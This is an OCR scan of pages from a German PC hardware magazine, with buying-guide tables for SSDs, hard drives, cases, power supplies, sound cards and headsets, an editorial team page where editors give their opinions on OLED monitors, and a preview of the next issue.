Mushkin Reactor Ca. € 270,- | 932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. € 565,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
OCZ Vector 180 Ca.€380,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2/15 08/2015 | www.pcgh.de/preis/1230950 
Corsair Neutron XT Ca.€350,- | 894 GiB/960 GB 527/484 MB/s 49.000 94 Sekunden | 5 Jahre 2,14 | 07/2016 | www.pcgh.de/preis/1214437 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 08/2015 | www.pcgh.de/preis/1215186 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 
Solid State Drives (M.2/PCle 3.0 x4) 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie 
ТЕТ Toshiba OCZ RD400 Са. € 300,- | 477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 1/2016 | www.pcgh.de/preis/1448318 
Samsung SSD 950 Pro N. verfügbar | 477 GiB/512 GB 2.212/1.475 MB/s 81.000 36 Sekunden | 5 Jahre 1,93 2/2015 | www.pcgh.de/preis/1327973 
Zotac Sonix Са. € 340,- |2.250/1.330 MB/s | 477 GiB/512 GB 95.000 56 Sekunden | 3 Jahre 2,04 1/2016 | www.pcgh.de/preis/1406123 
Samsung SSD 950 Pro Са. € 200,- | 238 GiB/256 GB 2.098/917 MB/s 73.000 45 Sekunden | 5 Jahre 2/17 2/2015 | www.pcgh.de/preis/1327925 
Samsung SM951 N. verfügbar | 238 GiB/256 GB 1.960/1.220 MB/s 68.000 43 Sekunden | 3 Jahre 2725 2/2015 | www.pcgh.de/preis/1215594 
Kingston Hyper X Predator Са. € 350,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 2/2015 | www.pcgh.de/preis/1247224 
IT Intel SSD 600p Са. Є 180, | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 online | www.pcgh.de/preis/1491162 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD 10р5** Коріегќеѕї Herstellergarantie ШТ PCGH-Preisvergleich 
Samsung SSD 960 Pro N. verfügbar | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 2/2016 | www.pcgh.de/preis/1511187 
Samsung SSD 960 Evo Ca.€450,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 179 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Ca. € 880,- 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 08/2015 | www.pcgh.de/preis/1227662 
* L/S: Lesen und Schreiben | ** 4k-Random-Write-Operationen pro Sekunde 


Festplatten (3,5 Zoll) 


Bis 8.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Toshiba MGO4ACA600E Ca. € 420,- | 5.586 GiB/6.000 GB | 7.200 | 0,8/1,4 Sone 2,0/5,0 ms 66/163 MB/s 1,71 08/2015 | www.pcgh.de/preis/493352788 
Toshiba MCO4ACA500E N. verfügb. | 4.548 GiB/5.000 GB | 7.200 | 0,7/1,3 Sone 2,0/13,4 ms 66/163 MB/s 1,88 08/2015 | www.pcgh.de/preis/1145736 
Tru T Seagate Archive HDD 8TB Са. € 260,- | 7.452 GiB/8.000 GB | 5.900 | 0,5/0,6 Sone 3,5/14,0 ms 43/136 MB/s Quas 08/2015 | www.pcgh.de/preis/1204027 
Altes Testsystem 
Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Toshiba DTO1ACA300 Ca.€85, | 2.794 GiB/3.000 GB | 7.200 | 0,3/0,6 Sone 5,2/15,4 ms* 54/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 
Tru TE Western Digital Red WD30EFRX Ca. € 115,- | 2.794 GiB/3.000 GB | K. A. 0,2/0,3 Sone 9,9/21,0 ms* 12/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 
Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung PCGH-Preisvergleich 
Western Digital Black WD4003FZEX Ca. € 260,- | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,9 Sone 2,5/12,9 ms 45/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 
II ER Hitachi Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 | 0,5/0,6 Sone 6,3/14,8 ms* 31/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 
Western Digital Red WDAOEFRX Са. € 160,- | 3.726 GiB/4.000 GB | 5.400 | 0,4/0,5 Sone 6,6/18,5 ms 19/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 
Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Wertung Test in PCGH-Preisvergleich 
Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 2,5/4,3 ms* 67/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 
HGST Ultrastar He6 6TB Ca. € 420,- | 5.589 GiB/6.000 СВ | 7.200 | 0,1/1,6 Sone 2,6/5,8 ms 43/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 
ТШТУ Western Digital Red WD60EFRX Ca. € 250,- | 5.589 GiB/6.000 GB | K.A. 0,3/0,4 Sone 5,8/18 ms* 27/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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SERVICE | Einkaufsführer 


Einkaufsführer Gehäuse, Netzteile & Sound — «o 


WELT Т PREIS-LEISTUNGS-TIPP Hëttueg o SPAR-TIPP 


Format " 
Midi-Gehäuse (Herstelle- | Preis Lüfterplätze Enthaltene Lüfter Go р We y Temper tn VALTICE Test in PCGH-Preisvergleich 
rangabe) 
Be Quiet Dark Base 900 Pro | Midi-Tower | Ca. € 205,- | 9x 140, 2 x 120 mm 3x 140 mm 1,7/1,8; 1,6/1,7 Sone | 70/68/34 °C** 1,24 09/2016 | www.pcgh.de/preis/1462362 
Nanoxia Deep Silence 5 Rv B | Big-Tower | Ca. € 120,- | 4x 140/120 mm, 2 x 140 mm 3x140 mm 2,2/2,4; 1,9/2,0 Sone | 83/90/34 °C* 1,64 04/2015 www.pcgh.de/preis/1224505 «Т ТЛ 
Aerocool XPredator II Big-Tower | Ca. € 130,- | 6 x 140 mm 5x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °С** 1,70 09/2016 | www.pcgh.de/preis/1435421 
Antec P100 Midi-Tower | Са. € 80,- | 4x 140, 1x 120 mm 2x 120 mm 2,1/2,2; 0,0/0,0 Sone | 79/85/31 °C* 1771 06/2014 | www.pcgh.de/preis/1013922 
Phanteks Enthoo Luxe Big-Tower | Ca. € 155,- | 2x 200 mm, 2 x 140 mm, 4 x 120 mm | 1 x 200, 2 x 140 mm | 3,4/3,7; 2,3/2,4 Sone | 75/86/31 °C* 1571 04/2015 | www.pcgh.de/preis/1142200 
Sharkoon BW9000-W Midi-Tower | Ca. € 70,- | 4х 140 mm, 1 x 120 mm 2x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °C** 1,84 09/2016 | www. pcgh.de/preis/1354897 «ТТА 
Enermax Thormax Giant Big-Tower | Ca. € 140,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2 x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °С* 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees Al Crystal Midi-Tower | Ca. € 150,- | 6x 140 mm 4x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
Be Quiet Silent Base 800 Midi-Tower | Ca. € 110,- | 5x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Ca. € 140,- | 4 x 140 mm, 1 x 120 mm 2x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 °C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 100,- | 3x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °С* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Ca. € 115,- | 4x 140/1 x 120 mm 2 x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 *C** 1,94 09/2016 | www.pcgh.de/preis/1462226 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9x 140/120 mm 2x140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °C* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 155,- | 5 x 140 mm oder 7 x 120 mm 3x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
Chieftec Gaming GP-01B Midi-Tower | Ca. € 75,- | 2x 140 mm, 3 x 120 mm 2x140, 1 x 120 mm | 2,2/2,1 Sone*** 65/71/49 °C 2,50*** | 02/2017 | www.pcgh.de/preis/1493676 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 @ 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
** System: Intel Core 17-4790; Intel 787, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Themalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
*** Neues Test- / Wertungssystem (siehe PCGH 02/2017) 


400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in 
Be Quiet Dark Power Pro 11 550W | Ca. € 140,- | 4х 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Ca. € 170,- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 e 
Cooler Master V550 Ca. € 100,- | 2 x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 www pcoh delpreis/1325567 ШТ 
EVGA G2 550W Ca. € 100,- | 2x 6+2-Pin (65/78 cm) 550 Wa 0,1/0,1/0,6/0,6/0,7 Sone | 87/91/92/91/90 % 1,62 09/2016 | www.pcgh.de/preis/1297440 
Corsair RM550x Ca.€90- | 2 x 6+2-Pin (58 cm) 550 Wa 0,1/0,1/0,1/0,1/0,2 Sone | 85/90/92/91/90 % 1,64 09/2016 | www.pcgh.de/preis/1331023 
XFX TS 550 Gold N. verfügb. | 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 199 09/2016 | www.pcgh.de/preis/1076839 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Seasonic Prime Titanium 650W Са. € 200,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Са. € 160,- | 4 x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 

Be quiet Straight Pow. 10 700W CM | Ca. € 120,- | 4x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 96 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Test in 
Corsair HX1000i Са. € 210,- | 4 x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Са. € 160,- | 4 x 6+2-Pin (50 cm) 840 Watt 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 140,- | 2 x 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate EE eech GE E Besonderheiten u. a. Test in 

Creative Sound Blaster ZxR Ca. 200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 alja Gesockelte Op-Amps, Tischbox 1,41 05/2015 | www.pcgh.de/preis/886468 

Asus Xonar Essence STX 2 7.1 | Ca. 240,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 

Asus Xonar Phoebus Ca. 140,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanále/Abtastrate EE КОШОМ: puce ei Besonderheiten u. a. Test in 

Creative Sound Blaster X7 Са. 350,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB а, TPA6120A2 a/ja Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 

Creative Sound Blaster Omni | Ca. 60,- | Bis 5.1/24 Bit bei 96 KHz CS4361/100 dB a, MAX97220A alja Integriertes Mikrofon 2,18 | 05/2015 | www.pcgh.de/preis/1003999 «Т ТЛ. 
Asus Xonar U5 Ca. 65,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TPS6130A2 ein/nein Mikr.-Lautstárkeregl. am Gerát 2,27 05/2015 | www.pcgh.de/preis/1150607 

Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 

Steelseries Siberia 800 Ca. 240,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 
Audio-Technica ATH-ADG1 | Ca. 350,- | USB, Klinke Offen, ohrumschlieBend 280 Gramm | 38 Ohm Nein USB-DAC 1,92 12/2014 | www.pcgh.de/preis/1151658 

Kingston Hyper X Cloud 2 | Ca. 80,- | USB, Klinke Geschlossen, ohrumschließend | 320 Gramm | 60 Ohm Ja, virtuell | Kabelfernbedienung, Presets 1,94 08/2015 | www.pcgh.de/preis/1223096 

Asus Strix DSP Ca. 130,- | USB, Klinke Geschlossen, ohrumschließend | 390 Gramm | 32 Ohm Ja, virtuell | Tischbox mit vielen Funktionen 1,96 05/2016 | www.pcgh.de/preis/1195357 

Corsair Void RGB Wireless | Ca. 105,- | Funk Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Ordentliche Software 1,97 06/2016 www.pcgh.de/preis/1307022 ТТ 
Sennheiser G4me One Ca. 150,- | Klinke Halboffen, ohrumschließend 270 Gramm | 50 Ohm Nein Mikrofon-/Lautstärkeregler integriert 2,18 | 04/2014 | www.pcgh.de/preis/1042573 

Bitfenix Flo Ca. 50,- | Klinke Geschlossen, ohraufliegend 200 Gramm | 68 Ohm Nein Kabel und Mikrofon abnehmbar 2,32 08/2014 www.pcgh.de/preis/1059580 ТҮҢ 
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DAS GAMES-FESTIVAL 


EVENTS 


SERVICE | Teamseite 


Die Redaktion 


EEN BAYER 
Chefredakteur EEN tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


TER 


RAFFAEL 


ler Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Über die Weihnachtstage spielte ich Die Zwerge weiter und meine 
Hoffnung, bei Satellite Reign endlich das Finale zu sehen, wurde bestätigt. 


Einen OLED-PC-Monitor würde ich ... mir auf jeden Fall einmal ansehen, 
wie jede interessante Display-Technologie, die das Zeug hat, die Bildqualität 
nachhaltig zu verbessern. Ich hoffe dann nur, dass mich das Preisschild nicht 
zur Schnappatmung verleitet, denn das ist meine Befürchtung. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
Z170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC retrospektiv: Das Projekt „Schnellster Voodoo-PC" war ein Erfolg, 
nachzulesen im spannenden Retro-Artikel ab Seite 32. In den kommenden 
Monaten werde ich nach Möglichkeit die Megahertzchen und Subtimings 
optimieren — und erst dann meine wertvolle V5 6000 einbauen. 


Einen OLED-PC-Monitor würde ich ... mir gerne genauer ansehen, bisher 
ergab sich jedoch keine Chance. Herr Christa, kónnen Sie was anbieten? :-) 


Privat-PC: i7-5820K @ 2,5 GHz (0,78V), Asrock X99X Killer, 4 x 4 GiB DDR4, 
Asus GTX Titan X + Accelero Xtreme IV @ 1.450/4.196 MHz, LG DCI-4K-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: In der nahezu Racing-freien Winterzeit habe ich Motorsport 
Manager angespielt. Ist erstaunlich gut, wenn auch nicht so technokratisch wie 
das 96er Pole Position. Trotzdem mein Tipp für angehende Team-Manager. 


Einen OLED-PC-Monitor würde ich ... im Garten verbuddeln und nach 5 
Jahren prüfen, wie organisch das Panel wirklich ist. Gut, im Ernst: Die LG-Panels 
an Fernsehern sind schon sehenswert, warum also nicht auch an guten Monitoren? 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 75, 120-GByte-SSD, 24-Zoll-LCD, Obsidian 800D 


MANUEL KC E 


Redakteur KC E mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Hat einen Xbox-Elite-Controller zu Weihnachten spendiert 
bekommen, nachdem der rechte Analog-Stick beim 360er-Modell die Grätsche 
gemacht hat. 


Einen OLED-PC-Monitor würde ich ... mir auf jeden Fall einmal genauer 
ansehen. In der Theorie sind solche unschlagbar. Wahrscheinlich dauert es 
jedoch noch Jahre, bis OLED bezahlbar wird. 


Privat-PC: Core i7-4790K @ H,O, Asus 297-А, Corsair 16 GiB DDR3-1600, 
Radeon R9 390, Sandisk Ultra 11 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Mir fehlt noch ein Echtzeitstrategie-Hit für das Frühjahr. Wann 
kommt endlich das nächste Red Alert? Oder wenigstens eine Version mit dem 
bösen Glatzkopf? Muss wohl noch mal alle Maps des dritten Teils zocken. 


Einen OLED-PC-Monitor würde ich ... nicht mehr in diesem Jahrhu... äh, 
Jahrzehnt erwarten. Zumindest nicht zu einem vertretbaren Preis. Ein schönes 
UND schnelles Display wäre toll, klingt aber fast zu schön, um wahr zu sein. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 
£ 


PC aktuell: Ich schieße in Battlefield 1 momentan gern mit virtueller Kamera. 


Einen OLED-PC-Monitor würde ich ... gerne erst mal antesten, bevor ich 
mir eine Meinung bilde. Prinzipiell ist OLED interessant, ich habe aber Bedenken, 
ob meine Ansprüche abseits von schwarzem Schwarz erfüllt werden können — 
darunter niedrige Reaktionszeiten, 144 Hz und ein Preis-Leistungs-Verhältnis, 
das etwas besser ausfällt als das einer juwelenbesetzten Goldbadewanne. 


Privat-PC: i7-5820K @ 4,2 GHz, MSI X995, 32 GiB DDR4, 960 GB SSD, 3x 
WD 3 TB, Asus GTX 980 @ 1,4 GHz, SB ZXR, Asus STX II, 27-Zoll-Freesync-LCD 


FRANK STÖWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeräte, Mauspads und G 


ehäuse 


PC aktuell: Der Mini-ITX-PC mit Desktop-Grafikkarte ist nun zu meinem 
Hauptrechner befördert worden — arbeitet unter Last aber noch zu laut. 


Einen OLED-PC-Monitor würde ich ... mir wegen des eingebauten Ver- 
fallsdatums („geplante Obsoleszenz“) nicht kaufen. Selbst experimentelle 
blaue OLEDs halten wohl nur gut sieben Jahre eine Helligkeit über 400 cd/m2, 
Standard-OLEDs eher knappe 3 bis rund 4,5 Jahre. Da warte ich erst mal ab. 


Privat-PC Mini-ITX: i7-5775C (3,6 GHz/1,038V), 16 GiB DDR3-1866 (8-9-8- 
27-1T), NVME-SSD, RX 480/4G, 120Hz-LCD, Fractal Design Node 202 (11 Liter) 


PC aktuell: Aktuell laufen Spiele-Mini und Rennspielrechner optimal. Da ich 
des Öfteren auch „analog” spiele, habe ich mir ein neues Dart Board gegönnt. 


Einen OLED-PC-Monitor würde ich ... dann kaufen, wenn er in meinen 
Augen bezahlbar ist. OLED-Bildschirme beeindrucken zwar mit sehr guten 
Schwarzwerten, einer minimalen Reaktionszeit und brillanter Leuchtkraft. Dem 
gegenüber steht aber ein sehr hoher Preis, der so schnell auch nicht fallen wird. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


GEN VOGEL 


Redakteur GEN tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


DANIEL WAADT 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PC aktuell: Nach einem Sturz liegt die rechte Hand in Gips — und ich stelle 
entsetzt fest, dass sich selbst in meiner umfangreichen Strategie- und Wi-Sim- 
Sammlung nur ganz wenige Titel komplett mit links spielen lassen. Ein bisschen 
Glück im Unglück ist da meine Einladung zur Closed Beta von Gwent. 


Einen OLED-PC-Monitor wollte ich ... 2005 als Ersatz für meinen defek- 
ten CRT kaufen, aber der Termin für Endkunden- OLED lautete ,in 1-2 Jahren". 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDRA-2133, Asus GTX 780 Ti 
© 1.245/3.800 MHz; alles @ Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


STEPHAN WILKE 


£ 


Community Content Commerce Manager | sw@pcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 


PC aktuell: Den Urlaub zum Jahreswechsel habe ich genutzt, um Harveys 
neue Augen und The Wolf Among Us durchzuspielen, wobei Letzteres eher 
schon ein interaktiver Film ist (und mich dennoch gut unterhalten hat). 


Einen OLED-PC-Monitor ... finde ich primär aufgrund des Schwarzwertes 
und der Reaktionszeit interessant, in diesem Jahrzehnt dürfte abseits hochprei- 
siger Prestige-Modelle aber wenig passieren — hoffentlich liege ich falsch. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 


PC aktuell: Lange war ich auf der Suche nach einem 5,25-Zoll-Kartenleser 
und mit dem Silverstone FP59 habe ich nun ein passendes Gerät gefunden, 
welches sogar über USB 3.1 Typ C und eine Lüftersteuerung verfügt. 


Einen OLED-PC-Monitor würde ich ... bei einem Preis von unter 1.000 
Euro kaufen. Bessere Schwarzwerte, unfassbar niedrige Reaktionszeiten für 
Spieler und die Leuchtkraft — doch ich fürchte, wir müssen noch Jahre warten. 


Privat-PC: Core i7-4770, 16 GiB DDR3 (Corsair), Gigabyte Z87-Board, MSI 
GTX 760, 624-GB-SSD, LG BH10LS, Samsung S27A850D, WD EX2100 NAS 


Das Kürzel steht für Organic Light Emitting Diode und wird derzei 


und Ansprechzeit fallen deutlich besser als bei herkómmlichen LC 
OLEDs nur leuchten, wenn sie aktiv sind — damit steigt der Bildko 
, echten", sprich dunklen Schwarz stark an. Auch die Reaktionsze 
flotter als bei LCDs — 240 Hertz ohne Overdrive sollten problemlo: 


in Smartphone-Displays, aber auch in ersten Notebook-Anzeigen und Fernsehern 
eingesetzt — einen geplanten PC-Monitor hat Dell just , abgekündigt" 


Thema des Monats: OLED-Monitore 


t hauptsächlich 


. Kontrastwerte 
Ds aus. Ersteres, weil 
ntrast aufgrund des 
iten sind wesentlich 
s möglich sein. 
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Werbefrei 


Display- & Videowerbund 

wird ausgeblendet 

Funktioniert auf pCGH.de 

und PCGH Extreme 
In der ersten Ausbaustufe erlaubt das n—n — 
PCGH-Online-Abo, dass Sie PCGH.de und ht neben Desktop-PCs auch 
das Extreme-Forum frei von externen Ge hones & Tablets 
Werbemitteln nutzen können. Das gilt für auf Smartp 10, Э у сл 


jegliche Display- und Videowerbung. Das 
aktive Online-Abo führt zu schnelleren 
Ladezeiten und auf Mobilgeräten spart es 
auch Datenvolumen. 


Cono RRE `“ ° " 
Bestehende Print-Abonnenten können e 


kostengünstig per Upgrade (6 Euro im i PCGH-Webseite” 
Jahr, Monatspreis: 50 Cent) das Online- = 

Abo hinzubuchen oder gleich die Digital- 
ausgabe hinzubestellen (12 Euro im Jahr, 
Monatspreis: 1 Euro). Diese beinhaltet ne- 
ben dem Online-Abo zudem die digitalen 
Ausgaben als E-Paper-PDF sowie den Zu- 
griff auf die App-Ausgaben (www.pcgh. 
de/digital-ausgabe). Wer ein Digital- 
Abo oder ein Kombi-Abo Digital + Print 
von PC Games Hardware besitzt, bekommt 
das Online-Abo dazu. 


wissen müssen 


ro 
aw, 
Online 


werbefrei 


te Videos 


А 


Wie bereits im April angekündigt, ist das Online-Abo von PC 


Games Hardware mit dem heutigen Tage aktiv. In diesem Artikel erfahren Sie alles. was 


Sie darüber wissen müssen. 


Inhaltsverzeichnis 


hr Printabo auf das Digitalabo 
roblem: Wenden 
uns 


Weitere Informationen finden Sie unter: 
www.pcgh.de/online-abo 
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SERVICE | Vorschau 


Vorschau: 04/2017 


AMD Ryzen: Die neue 
CPU-Generation im Test* 


RYZEN == 


So AMD will, präsentieren wir Ihnen schon becht es wa н 

in der nächsten Ausgabe einen umfassen- я s| [20v] Leg 
den Test des Prozessor-Hoffnungsträgers 

Ryzen. Daumen drücken! 


Kaufbera- 
tung RAM 


„Speicher ist durch nichts zu 
ersetzen als durch noch mehr Spei- 
cher" — wir prüfen, inwiefern diese 
Weisheit Bestand hat und worauf 
es beim RAM-Kauf ankommt. 


2.0-/2.1- 
Sound 


Diesen Monat waren die Headsets 
an der Reihe. In der nächsten 
Ausgabe prüfen wir Lautsprecher 
auf ihre Klangeigenschaften. 


Weitere Themen (u. a.) 


I Tests: Z270-Hauptplatinen, Joysticks für Star Citizen & Elite 
I Praxis: Spiele-Turbo SSD, BIOS-Mods für Radeon RX 400 
I Info: AMD CPU-History 


Vollversion 


y. 


- * Galactic 
с. Civilizations 3 


Die náchste PC Games Ha 
ware erscheint am 1. Márz 2017. 
Abonnenten bekommen das 
Heft üblicherweise 
einen bis drei Tage früher. 


* Alle Angaben und Termine ohne Gewáhr. Aufgrund von Termin- 
verschiebungen auf Herstellerseite kann es zu außerplanmäßigen 
Änderungen kommen. 
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«: Auswirkungen auf CPU, RAM, VRMs & Gehäuse «= 


Wissen: Zen + Kaby Lake 


Die wichtigsten Fakten zur neuen Generation 


SONDERHEFT) Gratis 
Нагашаге 2 7 Aktuelles PCGH- 


Sonderheft 
Battlefield 1, Call of Duty & Star Citizen (Print- -Version 


PC 2017: а mit 84 Seiten 
und iste 
Wei Großbild- Zocken; Riesen-LCDs & Beamer 


Vor- und Nachteile, FOV-Probleme analysiert, Ultra-HD- Benchmarks . « 


GTX 1060 + RX 480 eme" 


Die besten Custom Designs im Test — 
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OPTIMIERTES À 
